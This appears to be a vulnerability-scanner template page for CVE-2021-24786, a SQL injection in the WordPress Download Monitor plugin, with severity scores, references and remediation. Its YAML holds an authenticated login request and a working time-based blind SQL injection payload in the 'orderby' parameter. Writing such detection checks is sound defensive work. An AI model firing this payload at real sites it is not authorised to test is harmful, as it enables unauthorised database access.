Download Monitor < 4.4.5 - SQL Injection
CVE-2021-24786
Verified
Description
The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Severity
High
CVSS Score
7.2
Exploit Probability
2%
Affected Product
download_monitor
Published Date
November 2, 2025
Template Author
mrharsh
CVE-2021-24786.yaml
id: CVE-2021-24786
info:
name: Download Monitor < 4.4.5 - SQL Injection
author: MrHarsh
severity: high
description: |
The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to version 4.4.5 or later.
reference:
- https://wpscan.com/vulnerability/a6571f16-66d2-449e-af83-1c6ddd56edfa
- https://plugins.trac.wordpress.org/changeset/2610899/download-monitor
- https://nvd.nist.gov/vuln/detail/CVE-2021-24786
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24786
cwe-id: CWE-89
epss-score: 0.02235
epss-percentile: 0.84737
cpe: cpe:2.3:a:download_monitor_project:download_monitor:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: download_monitor_project
product: download_monitor
framework: wordpress
publicwww-query: "/wp-content/plugins/download-monitor/"
tags: cve,cve2021,wordpress,wp-plugin,sqli,download-monitor,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 30s
GET /wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date`+and+(select+sleep(8))+and+`user_id=user_id HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "dlm_product")'
- 'status_code_2 == 200'
- 'duration_2 >= 8'
condition: and
# digest: 4a0a004730450221009e4800f611646269853e7c9d7a21d29816266c7c8d12b204c118fa4dec89a6c0022059f1d8b9d172c7084af996f8d085c6358fe48938eb7b7d3600f635df8a722c51:922c64590222798bb761d5b6d8e729507.2Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2021-24786
CWE ID:
cwe-89
Remediation Steps
Update to version 4.4.5 or later.